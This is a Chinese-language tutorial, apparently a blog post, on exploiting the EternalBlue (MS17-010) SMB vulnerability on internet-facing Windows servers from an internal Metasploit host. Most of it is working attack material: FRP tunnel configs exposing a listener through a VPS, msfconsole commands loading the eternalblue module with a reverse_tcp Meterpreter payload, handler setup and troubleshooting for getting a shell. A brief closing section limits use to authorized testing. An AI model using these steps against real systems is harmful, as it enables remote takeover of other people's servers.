看我用内网MSF打公网永恒之蓝
字数 1236 2025-08-12 11:34:16
内网MSF攻击公网永恒之蓝漏洞技术文档
1. 技术背景
永恒之蓝(MS17-010)是Windows SMB协议中的一个严重漏洞,攻击者可以利用该漏洞远程执行代码。传统上,渗透测试通常在内网环境中使用Metasploit框架(MSF)进行漏洞利用测试。本技术文档介绍如何通过内网的MSF攻击公网上存在永恒之蓝漏洞的服务器。
2. 技术原理
本技术方案的核心思路是:
- 使用FRP工具建立内网到公网的端口映射隧道
- 通过隧道将内网MSF的监听端口暴露到公网
- 配置MSF利用载荷的回连地址为公网映射端口
- 在内网同时启动监听以接收反弹的shell会话
3. 环境准备
3.1 所需工具
- 内网主机:安装Metasploit框架
- 公网服务器:用于FRP服务端和端口映射
- FRP工具:用于建立内网到公网的隧道
- 存在永恒之蓝漏洞的公网靶机
3.2 FRP配置
3.2.1 公网服务器配置(frps.ini)
[common]
bind_port = 7000 # FRP服务端监听端口
token = your_token_here # 认证令牌
3.2.2 内网主机配置(frpc.ini)
[common]
server_addr = your_vps_ip # 公网服务器IP
server_port = 7000 # 与frps.ini中的bind_port一致
token = your_token_here # 与frps.ini中的token一致
[msf]
type = tcp
local_ip = 192.168.x.x # 内网主机IP,不能使用127.0.0.1
local_port = 4444 # 本地监听端口
remote_port = 30001 # 映射到公网的端口
3.2.3 启动FRP
- 公网服务器启动命令:
./frps -c ./frps.ini
- 内网主机启动命令:
./frpc -c ./frpc.ini
4. MSF配置与攻击流程
4.1 攻击载荷配置
- 启动MSF控制台:
msfconsole
- 加载永恒之蓝漏洞利用模块:
use exploit/windows/smb/ms17_010_eternalblue
- 设置目标参数:
set rhosts 公网靶机IP
set payload windows/x64/meterpreter/reverse_tcp
set lhost 公网服务器IP
set lport 30001 # 与frpc.ini中的remote_port一致
4.2 额外监听配置
由于直接使用公网IP作为回连地址会导致监听失败,需要在内网额外启动一个监听:
- 新开一个MSF控制台或使用
jobs命令 - 配置监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 内网IP # 与frpc.ini中的local_ip一致
set lport 4444 # 与frpc.ini中的local_port一致
run
4.3 执行攻击
在配置好监听后,返回攻击模块执行:
exploit
5. 技术要点说明
-
FRP隧道建立:必须确保内网到公网的隧道建立成功,可以通过简单的HTTP服务测试映射是否生效。
-
IP地址设置:
- 不能使用127.0.0.1作为local_ip
- 公网服务器IP必须正确设置
-
监听顺序:必须先启动内网监听,再执行攻击载荷
-
端口一致性:
- frpc.ini中的local_port与内网监听端口一致
- frpc.ini中的remote_port与攻击载荷的lport一致
-
载荷选择:必须使用reverse_tcp类型的payload,且架构(x64/x86)需与目标系统匹配
6. 常见问题解决
-
隧道建立失败:
- 检查公网服务器防火墙设置
- 确认token配置一致
- 验证网络连通性
-
监听不到会话:
- 检查内网监听是否先于攻击启动
- 验证端口映射是否成功
- 检查payload架构是否匹配目标系统
-
攻击失败:
- 确认目标是否存在永恒之蓝漏洞
- 检查目标SMB服务是否开放(端口445)
- 验证目标防火墙设置
7. 安全注意事项
- 本技术仅用于合法授权的渗透测试和安全研究
- 未经授权攻击他人系统属于违法行为
- 测试前应获得书面授权
- 测试完成后应及时关闭FRP服务
- 建议在测试环境中验证技术可行性
8. 技术扩展
本技术思路不仅限于永恒之蓝漏洞利用,还可应用于:
- 其他需要反弹shell的漏洞利用场景
- 内网穿透下的各类渗透测试
- 受限网络环境下的安全评估
通过调整FRP配置和MSF参数,可以适应不同的网络环境和漏洞类型。